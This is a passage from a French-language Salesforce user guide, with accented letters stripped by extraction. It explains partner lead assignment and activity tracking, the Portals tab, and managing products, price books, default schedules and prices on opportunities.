PRM

Guide de l'utilisateur | Utilisation des utilisateurs partenaires | 1651

Remarque: Les rgles d'attribution ne peuvent pas tre actives partir du portail.

L'attribution d'une piste un utilisateur partenaire ou une file d'attente de pistes partenaires revient attribuer un piste
n'importe quel autre utilisateur ou file d'attente.
Les pistes attribues directement un utilisateur ou une file d'attente, qui ne fait pas partie de l'ensemble de pistes, sont
rpertories dans l'onglet Pistes du portail. L'utilisateur partenaire peut y accder en slectionnant une vue de liste approprie.
Tant qu'un utilisateur partenaire n'a pas examin une piste, cette dernire apparat en gras dans la vue de liste Mes pistes non
lues.
Si une piste est attribue une file d'attente de l'ensemble de pistes, elle apparat dans la liste Pistes disponibles de l'onglet
Accueil du portail.
Conseil: Attribuez les pistes partenaires un seul utilisateur partenaire (responsable commercial, par exemple) du
compte partenaire de faon autoriser cette personne grer l'attribution des pistes des utilisateurs partenaires de ce
compte.

Voir aussi :
Gestion des files d'attente
Fusion des pistes en double
Prsentation de la gestion des relations partenaires

Suivi des activits partenaires PRM

Disponible avec : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour crer des vues de liste personnalises :

Autorisation de lecture sur le type d'enregistrement inclus dans

la liste

Pour crer, modifier, enregistrer et supprimer des rapports :

Excution des rapports

AND
Autorisation de lecture sur les enregistrements inclus dans les
rapports
AND
Crer et personnaliser des rapports

Pour crer, modifier et supprimer des tableaux de bord :

Grer les tableaux de bord

Il est essentiel de suivre les activits partenaires pour grer efficacement les pistes et les opportunits. l'aide du champ Compte
partenaire sur les pistes et les opportunits, vous pouvez crer des rapports et des vues de liste personnaliss qui vous aident
suivre le travail ralis par vos utilisateurs partenaires.

PRM

Guide de l'utilisateur | Utilisation des utilisateurs partenaires | 1652

Conseil: Si, lors de la cration d'une vue de liste ou d'un rapport, vous souhaitez inclure toutes les pistes et les
opportunits associes un compte partenaire, utilisez le paramtre Compte partenaire diffrent de et laissez le troisime
champ du filtre vide.
Conseils relatifs au suivi des activits des utilisateurs partenaires :

Crez des vues de liste pour connatre l'activit de vos partenaires en ce qui concerne les pistes et les opportunits au cours
de la dernire semaine.
Crez un tableau de bord indiquant le nombre de pistes cres au cours de la dernire semaine et dont les partenaires sont
responsables.
Crez une vue de liste des pistes affectes aux partenaires qui n'ont pas t mises jour rcemment.
Crez des rapports de prvision sur les opportunits des utilisateurs partenaires.
Utilisez le champ Date du dernier transfert de la piste pour rechercher les pistes qui n'ont pas t explores en
temps utile.
Si vous utilisez des prvisions personnalisables, affectez un utilisateur en tant que responsable de prvision chaque rle
de partenaire de la hirarchie des prvisions. Affecter un utilisateur en tant que responsable de prvision signifie que toutes
les prvisions des utilisateurs situs en dessous de cet utilisateur dans la hirarchie de prvision lui sont transmises.
Remarque:
Lorsque vous transfrez un utilisateur du portail partenaire vers un autre compte :
-

Les opportunits de chaque compte sont automatiquement recalcules via la hirarchie des prvisions de votre
organisation.
Toute opportunit appartenant l'utilisateur du portail partenaire est conserve dans le compte prcdent.

Voir aussi :
Prsentation de la gestion des relations partenaires
Gestion des portails PRM
Attribution des utilisateurs partenaires un portail PRM
Page d'accueil des rapports

Portails
Utilisation de l'onglet Portails
Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour configurer le portail libre-service :

Grer le portail libre-service

Pour modifier les pages Libre-service :

Grer le portail libre-service

AND
Personnaliser l'application

L'onglet Portails permet de dfinir pour vos clients libre-service un rseau de support en ligne leur permettant d'obtenir des
rponses leurs questions sans avoir contacter le service clientle. Pour plus de dtails, reportez-vous Configuration du
libre-service la page 633.
Il suffit de cliquer sur l'onglet Portails pour afficher la page d'accueil des portails. Vous pouvez alors :

Afficher la page d'accueil du portail libre-service de vos clients.

Cliquer sur les pages de votre portail libre-service pour savoir comment les utilisateurs interviennent sur ces pages.
Sous Rapports, cliquer sur le nom du rapport que vous souhaitez afficher.
Slectionner l'un des liens sous Outils pour accder aux utilitaires permettant de grer le portail libre-service et ses utilisateurs.
Remarque: L'onglet Portails n'inclut pas le portail PRM et le portail Client.

Voir aussi :
Affichage de l'onglet Portails

Portails

Guide de l'utilisateur | Utilisation de l'onglet Portails | 1654

Affichage de l'onglet Portails

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour configurer le portail libre-service :

Grer le portail libre-service

Pour modifier les pages Libre-service :

Grer le portail libre-service

AND
Personnaliser l'application

L'onglet Portails permet de dfinir pour vos clients libre-service un rseau de support en ligne leur permettant d'obtenir des
rponses leurs questions sans avoir contacter le service clientle. Pour plus de dtails, reportez-vous Configuration du
libre-service la page 633.
Pour afficher l'onglet Portails, personnalisez votre affichage. Si vous ne parvenez pas visualiser l'onglet Portails, contactez
votre administrateur. Pour plus d'informations, reportez-vous Personnalisation de votre affichage la page 30.
Remarque: L'onglet Portails n'inclut pas le portail PRM et le portail Client.

Voir aussi :
Utilisation de l'onglet Portails

Produits
Prsentation des produits, des catalogues de prix et des
planifications
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Produits
Les produits sont les articles que vous vendez dans vos opportunits. Vous pouvez crer un produit et l'associer un prix
figurant dans un catalogue. Chaque produit peut apparatre dans plusieurs catalogues, avec un prix diffrent. On appelle entre
de catalogue tout produit avec un prix figurant dans un catalogue.
Les listes associes aux produits d'une page de dtails d'une opportunit donnent la liste des produits de cette opportunit.
Utilisez cette liste associe pour associer un catalogue de prix l'opportunit, ajouter ou modifier des produits, et tablir ou
modifier des planifications pour les produits.
Catalogues de prix
Un catalogue contient les produits et leurs prix. Chaque produit, avec le prix associ, est qualifi d'entre de catalogue. Vous
pouvez utiliser le catalogue standard ou crer des catalogues personnaliss. Le catalogue standard est automatiquement gnr
et contient la liste principale de tous les produits, ainsi que leurs prix standard. Il ne tient pas compte des prix contenus dans
les catalogues personnaliss.
Planifications
Vous avez galement la possibilit de dfinir des planifications pour les produits associs aux opportunits. L'administrateur
dtermine les types de planification disponibles (planifications de quantit, planifications de chiffre d'affaires ou les deux). Il
lui appartient galement de dterminer les types de planification disponibles par produit.

Planification de quantit : prcise les dates, le nombre d'units et la faon dont le paiement, l'expdition ou autre est
chelonn, conformment aux principes en vigueur dans votre organisation.
Planification de chiffre d'affaires : prcise les dates, les montants de chiffre d'affaires et la faon dont le paiement,
l'identification de chiffre ou autre doit tre chelonn, en fonction des rgles en vigueur.

Voir aussi :
Choix d'un catalogue pour une opportunit
Ajout de produits aux opportunits
Modification des produits par opportunit
Tri des produits par opportunit
tablissement des planifications
Modification des planifications

Produits

Guide de l'utilisateur | Accueil des produits | 1656

Accueil des produits

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Autorisations utilisateur requises

Pour afficher l'onglet Produits :

Autorisation de lecture sur les produits

Pour afficher des produits :

Autorisation de lecture sur les produits

Pour crer des produits :

Autorisation de cration sur les produits

Pour afficher des actifs :

Autorisation de lecture sur les actifs

Pour afficher des catalogues :

Autorisation de lecture sur les catalogues de produits et de

prix

Il suffit de cliquer sur l'onglet Produits pour afficher la page d'accueil des produits.

Dans la section Chercher des produits, entrez les termes pour rechercher les produits, puis cliquez sur Rechercher pour
rechercher les produits correspondant aux termes saisis. Nous vous recommandons de saisir un terme de recherche contenant
au moins 2 caractres mais vous pouvez galement laisser ce champ vide pour afficher la liste de tous les produits.
Dans la section Catalogues de prix, slectionnez un catalogue pour afficher la liste des produits, ou cliquez sur Crer une
nouvelle vue pour dfinir votre propre vue de catalogue personnalis.
Dans la section Vues de produit, choisissez une vue dans la liste droulante pour passer directement cette page de liste
de produits, ou cliquez sur Crer une nouvelle vue pour dfinir votre propre vue personnalise.
Dans la section Vues d'actif, choisissez une vue de liste d'actifs dans la liste droulante pour accder directement cette
page de liste ou cliquez sur Crer une nouvelle vue pour dfinir votre vue personnalise. Pour modifier ou supprimer une
vue que vous avez cre, slectionnez-la dans la liste droulante Vue, puis cliquez sur Modifier.
Dans la section Produits rcents, slectionnez un lment de la liste droulante pour afficher une liste rduite des produits
correspondant le mieux ce critre. Dans la liste, vous pouvez cliquer sur le nom de l'un des produits pour accder directement
aux dtails le concernant. Cliquez alternativement sur les liens Afficher 25 lments et Afficher 10 lments pour changer
le nombre d'lments affichs. Les champs que vous voyez apparatre dpendent de la prsentation de recherche de l'onglet
Produits dfinie par l'administrateur et des paramtres de scurit relatifs aux champs (disponibles exclusivement dans les
ditions Enterprise Edition, Unlimited Edition et Developer Edition). Voici les options disponibles pour les produits
rcents :
Option

Description

Cr rcemment

Les dix ou vingt-cinq derniers produits crs, avec les

produits crs le plus rcemment affichs en premier. Cette
liste ne contient que les enregistrements dont vous tes
responsable.

Modifi rcemment

Les dix ou vingt-cinq derniers produits mis jour, avec les

produits mis jour le plus rcemment affichs en premier.

Produits

Guide de l'utilisateur | Affichage des listes de produits | 1657

Option

Description
Cette liste ne contient que les enregistrements dont vous
tes responsable.

Dans la section Produits rcents, cliquez sur Nouveau pour crer un produit.
Dans Rapports, cliquez sur Aller aux rapports pour crer des rapports personnaliss qui intgrent les donnes des produits
et du catalogue.
Les administrateurs et les utilisateurs possdant les autorisations adquates peuvent cliquer sur Grer les catalogues pour
crer, cloner, activer ou dsactiver les catalogues.
Si des produits sont partages avec des contacts externes via Salesforce to Salesforce, choisissez l'une des vues de liste sous
Produits partir des connexions pour afficher les produits que vos partenaires professionnels ont partages avec vous.

Voir aussi :
Prsentation des produits, des catalogues de prix et des planifications
Affichage et modification des produits
Affichage et modification des catalogues
Cration de produits

Affichage des listes de produits

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Autorisations utilisateur requises

Pour afficher des produits :

Autorisation de lecture sur les produits

Pour crer des produits :

Autorisation de cration sur les produits

Pour modifier des produits :

Autorisation de modification sur les produits

Remarque: Si votre administrateur a activ les listes avances, vous pouvez utiliser les outils supplmentaires pour
personnaliser, accder , grer et modifier des donnes de liste.
La page des produits affiche la liste des produits dans la vue slectionne. partir de cette page, vous pouvez afficher des
informations dtailles sur le produit et accder des informations annexes.

Cliquez sur un nom de produit pour afficher ses informations dtailles.

Pour afficher une liste d'lments filtre, slectionnez une liste prdfinie dans la liste droulante Vue ou cliquez sur Crer
une nouvelle vue pour dfinir une vue personnalise. Pour modifier ou supprimer une vue que vous avez cre, slectionnez-la
dans la liste droulante Vue, puis cliquez sur Modifier.
Cliquez sur Vue imprimable pour afficher la vue de liste actuelle sous un format prt pour l'impression.

Produits

Guide de l'utilisateur | Affichage des entres du catalogue de prix | 1658

Pour crer un produit, les utilisateurs ont le choix entre cliquer sur Ajouter ou slectionner Produit dans la liste droulante
Crer du menu latral. Cette option apparat uniquement si vous disposez de l'autorisation de cration sur les produits.
Les utilisateurs peuvent cliquer sur Modifier pour changer les dtails de produits.
Cliquez sur un en-tte de colonne pour trier les produits par ordre croissant en fonction des informations de cette colonne.
Cliquez de nouveau sur l'en-tte pour trier la colonne par ordre dcroissant.
En haut et en bas de la liste, cliquez sur une lettre pour afficher le contenu de la colonne trie commenant par cette lettre.
Cliquez sur le lien Page suivante (ou Page prcdente) pour passer au groupe de produits suivant ou prcdent.
Au bas de la vue de liste, cliquez sur moins ou sur plus pour afficher une liste plus courte ou plus longue.

Voir aussi :
Affichage des listes d'opportunits

Affichage des entres du catalogue de prix

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Autorisations utilisateur requises

Pour afficher des entres du catalogue :

Autorisation de lecture sur les catalogues de prix

AND
Autorisation de lecture sur les produits

Pour modifier des entres du catalogue :

Autorisation de modification sur les catalogues

La page des catalogues affiche la liste des entres du catalogue. Depuis cette page, vous pouvez afficher les dtails des entres
du catalogue.

Pour afficher une liste d'lments filtre, slectionnez une liste prdfinie dans la liste droulante Vue ou cliquez sur Crer
une nouvelle vue pour dfinir une vue personnalise. Pour modifier ou supprimer une vue que vous avez cre, slectionnez-la
dans la liste droulante Vue, puis cliquez sur Modifier.
Cliquez sur Vue imprimable pour afficher la vue de liste actuelle sous un format prt pour l'impression.
Si votre affichage contient des entres appartenant un seul catalogue, slectionnez plusieurs entres, puis cliquez sur
Modifier les lments slectionns pour modifier plusieurs entres la fois.
Si vous affichez des entres appartenant un seul catalogue, cliquez sur Ajouter pour rechercher et ajouter un prix et un
produit au catalogue de prix.
Cliquez sur Modifier pour modifier les proprits d'une entre de catalogue.
Cliquez sur un en-tte de colonne pour trier les entres par ordre croissant en fonction des informations de cette colonne.
Cliquez de nouveau sur l'en-tte de colonne pour trier les comptes par ordre dcroissant.
En haut et en bas de la liste, cliquez sur une lettre pour afficher le contenu de la colonne trie commenant par cette lettre.
Cliquez sur le lien Page suivante (ou Page prcdente) pour passer au groupe d'entres suivant ou prcdent.
Au bas de la liste, slectionnez moins ou plus pour afficher une liste plus courte ou plus longue.

Produits

Guide de l'utilisateur | Gestion des catalogues | 1659

Gestion des catalogues

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Autorisations utilisateur requises

Pour afficher des catalogues :

Autorisation de lecture sur les catalogues de produits et de

prix

Pour crer des catalogues :

Autorisation de cration sur les catalogues

Pour cloner des catalogues :

Autorisation de cration sur les catalogues

Pour modifier des catalogues :

Autorisation de modification sur les catalogues

Cliquez sur Grer les catalogues dans la zone Maintenance de la page des produits pour crer des catalogues de prix et
activer/dsactiver les catalogues existants.

Cliquez sur l'un des noms de catalogue pour en afficher les dtails, y compris la liste des produits qu'il contient. Depuis
cette page, cliquez sur Modifier pour modifier les proprits du catalogue, sur Cloner pour crer un catalogue contenant
les mmes entres de produit ou pour modifier les entres de produit en utilisant les liens suivants :
-

Ajouter permet d'ajouter une nouvelle entre de produit au catalogue.

Modifier tout permet de modifier toutes les entres de produit d'un catalogue.
Modifier permet de modifier une seule entre de produit.

Cliquez sur Afficher pour afficher une liste des entres du catalogue de prix slectionn.
Cliquez sur Nouveau pour crer un catalogue personnalis.
Cliquez sur Afficher plus d'informations pour afficher une liste plus importante de catalogues.

Voir aussi :
Choix d'un catalogue pour une opportunit

Produits

Guide de l'utilisateur | Affichage et modification des produits | 1660

Affichage et modification des produits

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Autorisations utilisateur requises

Pour afficher des produits :

Autorisation de lecture sur les produits

Pour modifier des produits :

Autorisation de modification sur les produits

Affichage de produits
Aprs avoir localis un produit sur la page d'accueil ou dans les pages de liste des produits, cliquez sur le nom du produit
pour afficher des informations dtailles.
Conseil: Si votre organisation a activ les dtails de placement, survolez un champ de recherche dans la page
de dtails pour afficher les principales informations relatives un enregistrement avant de cliquer sur la page de
dtails correspondante.
Modification de produits
Les utilisateurs peuvent mettre jour un produit en cliquant sur Modifier en regard du produit, puis en modifiant les
champs slectionns. Lorsque vous avez termin, cliquez sur Enregistrer.
Remarque: Si votre organisation a activ la modification en ligne, vous pouvez modifier les champs directement
dans la page de dtails.

Listes associes du produit

Sous les dtails, vous trouverez des informations relatives au produit, comme les prix standard, les catalogues et les actifs.
Les listes associes qui s'affichent dpendent de vos paramtres de personnalisation et de ceux dfinis par votre
administrateur pour la prsentation des pages ou par vos autorisations d'affichage des donnes connexes. Vous pouvez
cliquer sur des lments individuels pour en afficher les dtails supplmentaires. Cliquez sur plus au bas de la page ou
sur Afficher plus d'informations sous une liste associe pour afficher d'autres lments.

Cliquez sur Ajouter dans la liste des prix standard pour associer un prix standard (et une devise si vous en utilisez
plusieurs) au produit.
Cliquez sur le bouton Modifier situ en regard du prix standard pour le modifier ou sur Modifier tout dans la liste
des prix standard pour modifier tous les prix dans toutes les devises rpertories.
Cliquez sur Ajouter au catalogue dans la liste des catalogues pour slectionner un catalogue de prix dans lequel
insrer le produit.
Cliquez sur Modifier tout dans la liste des catalogues pour modifier tous les prix catalogue d'un produit, dans tous
les catalogues.
Cliquez sur le nom d'un catalogue pour en afficher les dtails ou sur le bouton Modifier situ en regard du prix d'un
produit dans ce catalogue.

Produits

Guide de l'utilisateur | Affichage et modification des catalogues | 1661

Cliquez sur Nouveau dans la liste associe Actifs pour crer un actif li au produit actuel. Les actifs n'apparaissent
dans cette liste que si vous disposez d'un accs partag au compte de l'actif ou au compte associ au contact de l'actif.

Impression des produits

Pour afficher une vue imprimable de toutes les informations sur un enregistrement, cliquez sur Vue imprimable dans la
page de dtails.
Pour revenir la dernire page de liste affiche, cliquez sur Retour la liste en haut de la page de dtails du produit. Si votre
organisation a activ l'option de rduction des sections de page, utilisez les icnes reprsentant des flches prs des en-ttes
de section pour dvelopper ou rduire chaque section de la page des dtails.

Voir aussi :
Cration de produits
Dfinition des prix des produits
Ajout de produits aux opportunits

Affichage et modification des catalogues

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Autorisations utilisateur requises

Pour afficher des catalogues :

Autorisation de lecture sur les catalogues de produits et de

prix

Pour modifier des catalogues :

Autorisation de modification sur les catalogues

Pour cloner des catalogues :

Autorisation de cration sur les catalogues

Le catalogue de prix standard est automatiquement gnr par Salesforce.com pour intgrer tous les produits de votre entreprise,
ainsi que leurs prix standard. Les utilisateurs peuvent modifier le catalogue standard ou l'activer. Ils peuvent galement crer
des catalogues personnaliss pour intgrer des produits slectionns et des prix catalogue.
Affichage des catalogues - Une fois que vous avez localis un catalogue rpertori dans la page de gestion des catalogues,
disponible depuis la page d'accueil des produits, cliquez sur son nom pour en afficher les informations dtailles. Toutes les
entres du catalogue sont rpertories dans la liste associe Produits.
Modification des catalogues - Pour mettre jour un catalogue, cliquez sur le bouton Modifier situ en regard du nom du
catalogue, puis modifiez les champs mettre jour. Lorsque vous avez termin, cliquez sur Enregistrer. Cliquez sur Cloner
pour crer un nouveau catalogue contenant les mmes produits.
Listes associes des catalogues - La liste associe Produits pour les entres d'un catalogue se situe en dessous des dtails du
catalogue (produits et prix du catalogue). Vous pouvez cliquer sur Modifier ou sur Modifier tout pour mettre jour les entres
du catalogue de prix ou les listes de prix. Cliquez sur Ajouter pour intgrer des produits supplmentaires au catalogue de prix.
Cliquez sur plus au bas de la page pour afficher des lments supplmentaires ou sur moins pour raccourcir la liste.

Produits

Guide de l'utilisateur | Cration de produits | 1662

Pour revenir la dernire page affiche, cliquez sur Retour la liste en haut de la page de dtails.

Voir aussi :
Cration de produits

Cration de produits
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Autorisations utilisateur requises

Pour afficher des produits :

Autorisation de lecture sur les produits

Pour crer des produits :

Autorisation de cration sur les produits

Pour crer un nouveau produit :

1. Slectionnez Produit dans la liste droulante Crer du menu latral ou cliquez sur Nouveau en regard de Produits rcents
dans la page d'accueil des produits.
2. Entrez un nom pour le produit.
3. Entrez des informations supplmentaires sur ce produit.
4. Cliquez sur Enregistrer lorsque vous avez termin ou sur Enregistrer et ajouter le prix pour enregistrer le produit actuel
et entrer un prix standard.
Optionnellement, vous pouvez galement :

cliquer sur Ajouter dans la liste associe des prix standard pour ajouter un prix et une devise un nouveau produit.
cliquer sur Ajouter au catalogue depuis la liste associe des catalogues pour insrer le nouveau produit dans un catalogue.
Les produits doivent tre associs un prix standard avant d'tre ajouts un catalogue. Reportez-vous Dfinition des
prix des produits la page 1664.
cliquer sur Modifier au-dessus du dtail du produit pour crer une planification par dfaut. Reportez-vous Cration et
modification des planifications par dfaut la page 1663.

Produits

Guide de l'utilisateur | Cration de produits | 1663

Cration et modification des planifications par dfaut

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Autorisations utilisateur requises

Pour crer des planifications :

Autorisation de modification sur les produits

Pour modifier des planifications :

Autorisation de modification sur les produits

Avant de crer des planifications par dfaut, assurez-vous que les types de planification appropris sont activs.
Pour crer et modifier des planifications par dfaut :
1. Slectionnez le produit depuis la page d'accueil des produits.
2. Cliquez sur le bouton Modifier situ au-dessus des dtails du produit.
3. Dfinissez les dtails de la planification.
Champ

Description

Type de planification

Dfinit si le chiffre d'affaires ou la quantit du produit seront

diviss en plusieurs versements ou renouvels pour plusieurs
versements.

Priode de versement

Dfinit l'intervalle des versements : hebdomadaire, mensuel.

Nombre de versements

Nombre de versements de la planification.

Remarque: Par exemple, si le prix unitaire du produit est fix 100 dollars et que vous dfinissez une planification
du chiffre d'affaires en dix versements mensuels, une planification de type division cre dix versements
de 10 dollars. Une planification de type renouvellement cre ensuite dix versements de 100 dollars pour
un total de 1 000 dollars.
4. Cliquez sur Enregistrer.
Remarque: Si vous crez ou modifiez la planification par dfaut d'un produit, les opportunits incluant ce produit ne
seront pas mises jour. Si un produit dispose la fois d'une planification de quantit et de chiffre d'affaires par dfaut,
la planification de quantit est calcule en premier afin de dterminer le chiffre d'affaires global pour le produit. La
planification du chiffre d'affaires est ensuite applique ce montant.
Exemples
Les exemples suivants illustrent diffrentes utilisations courantes des planifications par dfaut.
Planification du chiffre d'affaires par dfaut uniquement : en tant qu'diteur de logiciels, vous vendez des contrats de licence
annuels au prix de 1 200 dollars par licence et par an. Lorsqu'un client achte vos licences, celles-ci sont toutes livres en une

Produits

Guide de l'utilisateur | Dfinition des prix des produits | 1664

seule fois, mais le calcul du chiffre d'affaires s'effectue sur une base mensuelle. Dans ce cas, vous devez dfinir la planification
de chiffre d'affaires suivante : Type de planification=Diviser, Priode de versement=Mensuelle et Nombre de versements=12.
Avec cette planification de chiffre d'affaires par dfaut, un commercial vend 200 licences au tarif unitaire de 1 200 dollars par
licence et par an, lors d'une opportunit au 15 mars. Les 200 licences sont livres le 15 mars. Le chiffre d'affaires global pour
ce produit correspond aux 200 licences multiplies par le prix unitaire de 1 200 dollars par an, soit un chiffre d'affaires annuel
global de 240 000 dollars. La planification de chiffre d'affaires divise automatiquement le chiffre d'affaires global en versements
mensuels de 20 000 dollars au 15 de chaque mois pour l'anne qui suit.
Planification de quantit par dfaut uniquement : en tant que fournisseur d'accessoires mdicaux, vous vendez des dpresseurs
au prix de 10 dollars la bote. Vous avez conclu des contrats annuels avec des hpitaux pour les livrer chaque mois. Dans ce
cas, la planification de quantit est la suivante : Type de planification=Rpter, Priode de versement=Mensuelle et Nombre
de versements=12.
Avec cette planification de quantit par dfaut, un commercial vend 1 000 botes lors d'une opportunit le 1er janvier. La
planification de quantit cre automatiquement 12 livraisons mensuelles de 1 000 botes, soit une quantit totale de 12 000 botes.
Le chiffre d'affaires global tir de cette opportunit est calcul l'aide du prix unitaire et de la quantit totale. Ainsi,
120 000 dollars de produits sont rservs le 1er janvier.
Planifications de la quantit et du chiffre d'affaires par dfaut : en tant que fabricant industriel, vous vendez vos articles
10 dollars pice. Vous avez conclu des contrats annuels de livraison hebdomadaire de vos articles, mais vos clients vous rglent
tous les trimestres. Dans ce cas, la planification de quantit est la suivante : Type de planification=Rpter, Priode de
versement=Hebdomadaire et Nombre de versements=52. Vous devez galement dfinir la planification de chiffre d'affaires
suivante : Type de planification=Diviser, Priode de versement=Trimestrielle et Nombre de versements=4.
Avec ces planifications par dfaut, un commercial vend 2 000 articles lors d'une opportunit le 1er janvier. La planification de
quantit est applique en premier. Elle prvoit la livraison de 2 000 articles chaque semaine pendant un an, soit une quantit
globale de 104 000 pices. Le chiffre d'affaires global est calcul l'aide du prix unitaire et de la quantit totale. Le chiffre
d'affaires global de 1 040 000 dollars est ensuite rparti en versements trimestriels de 260 000 dollars.

Voir aussi :
Dfinition des prix des produits

Dfinition des prix des produits

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Autorisations utilisateur requises

Pour dfinir des prix :

Autorisation de modification sur les produits

Votre organisation peut personnaliser Salesforce.com pour l'adapter sa politique de tarification. Par exemple, elle dispose
peut-tre de trois types de prix par produit :

Prix standard - Ils correspondent aux prix catalogue par dfaut associs aux produits. Ils sont automatiquement intgrs
au catalogue standard.
Prix catalogue - Ils correspondent aux prix associs aux produits dans les catalogues personnaliss.

Produits

Guide de l'utilisateur | Dfinition des prix des produits | 1665

Prix de vente - ils correspondent aux prix appliqus aux produits qui sont ajouts aux opportunits. Les prix de vente
peuvent tre diffrents des prix catalogue et des prix standard.
Remarque: Vous pouvez ajouter jusqu' huit chiffres aprs la virgule dans les champs de prix. Pour tendre les
paramtres relatifs la dcimale, contactez salesforce.com.

Dfinition des prix standard

Avant d'ajouter le nouveau produit une opportunit ou un catalogue personnalis, associez-le un prix standard.
Pour crer un prix standard pour un produit :
1. Slectionnez le produit.
2. Depuis la page des dtails du produit, cliquez sur Ajouter dans la liste associe Prix standard. Si vous avez dj ajout un
prix standard, cliquez sur Modifier pour le modifier ou sur Modifier tout pour modifier tous les prix standard dans les
autres devises.
3. Entrez le prix standard.
4. Cochez la case Actif pour pouvoir utiliser ce prix dans les opportunits ou dans les autres catalogues personnaliss.
5. Cliquez sur Enregistrer. Le prix standard est automatiquement associ au produit dans le catalogue standard.
Dfinition des prix catalogue
Si vous avez cr des catalogues personnaliss, vous pouvez attribuer un prix catalogue un produit. Le prix catalogue sert au
moment o vous ajoutez une opportunit un produit provenant de catalogues personnaliss crs par votre organisation.
Toutefois, avant de commencer, le produit doit tre associ un prix standard. Pour ajouter un prix catalogue :
1. Slectionnez le produit.
2. Depuis la page des dtails du produit, cliquez sur Modifier dans la liste associe Catalogues situs en regard du catalogue
personnalis contenant le prix catalogue.
Cliquez sur Ajouter au catalogue depuis la liste associe Catalogue si vous n'avez pas encore ajout le prix un catalogue
personnalis.
3. Entrez le prix catalogue. De mme, cochez la case Utiliser le prix standard si les deux prix sont identiques
4. Cochez la case Actif pour que ce prix soit disponible pour les produits figurant sur les opportunits.
5. Cliquez sur Enregistrer.
Dfinition des prix de vente
Quel que soit le catalogue utilis, vous pouvez indiquer un prix de vente pour tous les produits ajouts une opportunit.
Initialement, le prix de vente d'un produit ajout une opportunit est le prix catalogue du produit. Pour obtenir des instructions
sur l'association d'un prix de vente un produit, reportez-vous Ajout de produits aux opportunits la page 1666.

Voir aussi :
Ajout de produits aux opportunits
tablissement des planifications

Produits

Guide de l'utilisateur | Choix d'un catalogue pour une opportunit | 1666

Choix d'un catalogue pour une opportunit

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Autorisations utilisateur requises

Pour slectionner des catalogues :

Autorisation de modification sur les opportunits

AND
Autorisation de lecture sur les catalogues de prix

Pour associer les produits une opportunit, vous devez au pralable choisir un catalogue contenant les produits ajouter. Les
produits ne peuvent tre ajouts qu' partir d'un seul catalogue. Pour slectionner un catalogue, cliquez sur Choisir un catalogue
de prix dans la liste associe aux produits. Ce bouton apparat lorsque vous avez accs plusieurs catalogues.
Remarque: Le dernier catalogue de prix utilis dans une opportunit est slectionn par dfaut.
Si vous modifiez le catalogue de prix d'une opportunit, les produits existants sont supprims de cette dernire.

Voir aussi :
Ajout de produits aux opportunits

Ajout de produits aux opportunits

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Autorisations utilisateur requises

Pour slectionner des produits de l'opportunit :

Autorisation de modification sur les opportunits

AND
Autorisation de lecture sur les catalogues de produits et de
prix

Pour associer des produits une opportunit :

1. Slectionner un catalogue de prix.
2. Cliquez sur Ajouter un produit dans la liste associe aux produits.

Produits

Guide de l'utilisateur | Ajout de produits aux opportunits | 1667

3. Slectionnez un ou plusieurs produits.

4. Entrez les attributs de chaque produit. Votre administrateur peut personnaliser cette page pour y intgrer les champs
propres votre domaine d'activit.
5. Entrez le prix de vente du produit.
Le champ Prix de vente est automatiquement renseign avec la valeur Prix catalogue spcifie dans le catalogue.
Selon le profil utilisateur, vous pouvez ignorer cette valeur.
6. Entrez ventuellement le nombre de produits ce prix dans le champ Quantit.
7. Cliquez sur Enregistrer.
Remarque: S'il existe des planifications par dfaut pour un produit, elles sont automatiquement dfinies lorsque le
produit est associ l'opportunit. Le montant de l'opportunit est la somme de tous les produits associs. Vous ne
pouvez pas modifier directement le paramtre Montant moins de supprimer d'abord tous les produits de l'opportunit.
En ce qui concerne les entreprises multidevises, la devise de l'opportunit est lie la devise de l'entre de catalogue
de prix associe. Vous ne pouvez pas modifier directement la devise moins de supprimer d'abord tous les produits
de l'opportunit.

Voir aussi :
Prsentation des produits, des catalogues de prix et des planifications
Modification des produits par opportunit
Tri des produits par opportunit
tablissement des planifications
Modification des planifications
Configuration des planifications de produits

Modification des produits par opportunit

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Autorisations utilisateur requises

Pour modifier des produits de l'opportunit :

Autorisation de modification sur les opportunits

AND
Autorisation de lecture sur les catalogues de produits et de
prix

Pour modifier les attributs d'un produit par opportunit :

1. Cliquez sur le bouton Modifier situ en regard du nom du produit dans la liste associe Produits d'une opportunit, ou
cliquez sur le bouton Modifier tout pour modifier tous les produits la fois.

Produits

Guide de l'utilisateur | Ajout de produits aux opportunits | 1668

2. Entrez les attributs de chaque produit. Votre administrateur peut personnaliser cette page pour y intgrer les champs
propres votre domaine d'activit.
3. Entrez le prix de vente du produit.
4. Entrez le nombre de produits ce prix dans le champ Quantit.
5. Cliquez sur Enregistrer.

Voir aussi :
Prsentation des produits, des catalogues de prix et des planifications
Tri des produits par opportunit
tablissement des planifications
Modification des planifications

Tri des produits par opportunit

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
